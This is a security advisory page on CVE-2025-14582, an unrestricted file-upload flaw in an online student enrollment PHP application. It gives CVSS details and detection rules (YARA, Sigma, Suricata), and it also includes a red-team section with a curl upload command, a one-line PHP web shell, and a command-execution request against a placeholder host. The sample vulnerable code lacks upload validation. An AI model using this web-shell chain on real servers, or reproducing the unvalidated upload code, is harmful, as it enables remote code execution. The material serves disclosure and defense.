CVE-2025-14582
Executive Summary
CVE-2025-14582 is an unrestricted file upload vulnerability in the Campcodes Online Student Enrollment System version 1.0. The flaw resides in the /admin/index.php?page=user-profile endpoint, where the userphoto parameter is not properly validated. An authenticated attacker can upload arbitrary files (e.g., web shells) to the server, leading to remote code execution, data exfiltration, or further compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, and the vendor has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs valid admin credentials.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Attacker can modify files.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 4.7 (Medium) – Low complexity and remote exploitability make this a realistic threat despite the need for authentication.
Deep Dive & Mechanics
The vulnerability exists in the user profile update functionality. The application uses a PHP script that handles file uploads for the userphoto field. The code likely checks only the file extension or MIME type superficially, but does not validate the file content or restrict uploads to a safe directory. An attacker can upload a PHP web shell disguised as an image (e.g., shell.php.jpg or with a double extension). Once uploaded, the file is accessible via the web root, allowing the attacker to execute arbitrary PHP commands.
Root Cause: Lack of proper file type validation, missing directory traversal protection, and absence of file content inspection.
Attack Flow:
- Authenticate as an admin user.
- Intercept the profile update request (POST to
/admin/index.php?page=user-profile). - Modify the
userphotoparameter to upload a malicious PHP file. - Access the uploaded file via its URL (e.g.,
/admin/uploads/shell.php). - Execute commands on the server.
Vulnerable vs. Patched Code
Since no patch exists, the vulnerable code is assumed to be similar to the following:
Vulnerable Code (PHP):
<?php
if(isset($_FILES['userphoto'])){
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["userphoto"]["name"]);
if(move_uploaded_file($_FILES["userphoto"]["tmp_name"], $target_file)){
echo "File uploaded successfully.";
}
}
?>
Patched Code (Hypothetical):
<?php
if(isset($_FILES['userphoto'])){
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES['userphoto']['tmp_name']);
if(!in_array($file_type, $allowed_types)){
die("Invalid file type.");
}
$target_dir = "uploads/";
$file_name = uniqid() . '.' . pathinfo($_FILES["userphoto"]["name"], PATHINFO_EXTENSION);
$target_file = $target_dir . $file_name;
if(move_uploaded_file($_FILES["userphoto"]["tmp_name"], $target_file)){
echo "File uploaded successfully.";
}
}
?>
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Admin credentials (e.g.,
admin:admin). - Access to the application login page.
Exploit Steps:
- Log in to the admin panel.
- Navigate to user profile:
/admin/index.php?page=user-profile. - Use a tool like Burp Suite or cURL to upload a PHP web shell.
Example cURL Command:
curl -X POST -F "userphoto=@shell.php" -F "submit=1" -b "PHPSESSID=your_session_id" http://target.com/admin/index.php?page=user-profile
Web Shell Content (shell.php):
<?php system($_GET['cmd']); ?>
Access the Shell:
curl http://target.com/admin/uploads/shell.php?cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defensive)
Detection Steps:
- Monitor file upload logs for unexpected file extensions (e.g.,
.php,.phtml,.php5). - Check for unusual file sizes or multiple upload attempts from the same IP.
- Review web server access logs for requests to
/admin/uploads/containing suspicious parameters.
Honeypot Strategy:
- Deploy a fake upload endpoint that logs all attempts and alerts on any file upload.
Indicators of Compromise (IOCs)
- File Paths:
/admin/uploads/shell.php,/admin/uploads/*.php - Network Traffic: POST requests to
/admin/index.php?page=user-profilewithContent-Type: multipart/form-dataand a file nameduserphoto. - Log Entries:
POST /admin/index.php?page=user-profile HTTP/1.1followed by200 OKand subsequentGET /admin/uploads/*.php?cmd=... - File Hashes (Example):
shell.php:e99a18c428cb38d5f260853678922e03(MD5)
- User-Agent: Common tools like
curl/7.68.0orpython-requests/2.25.1
Detection Engineering
YARA Rule
rule CVE_2025_14582_WebShell {
meta:
description = "Detects PHP web shells uploaded via CVE-2025-14582"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-14582"
strings:
$php_tag = "<?php"
$system_call = "system("
$shell_exec = "shell_exec("
$exec_call = "exec("
$cmd_param = "$_GET['cmd']"
condition:
$php_tag and ($system_call or $shell_exec or $exec_call) and $cmd_param
}
Sigma Rule
title: CVE-2025-14582 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file upload attempts to the vulnerable endpoint
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/index.php'
cs-uri-query: 'page=user-profile'
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin profile updates
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14582 Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"page=user-profile"; http_uri; content:"multipart/form-data"; http_header; content:"name=\"userphoto\""; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file upload functionality in the admin profile page until a patch is available.
- Implement strict file type validation using MIME content type and file signature checks.
- Restrict upload directory permissions to prevent execution (e.g., remove PHP execution via
.htaccess). - Use a Web Application Firewall (WAF) to block malicious file uploads.
Long-Term Fix:
- Replace the vulnerable component with a secure file upload library (e.g., Symfony's UploadedFile).
- Conduct a full security audit of the application.
Workaround:
- Add the following
.htaccessin the uploads directory:
<FilesMatch "\.php$">
Order Deny,Allow
Deny from all
</FilesMatch>
Valters IT
Securing Digital Frontiers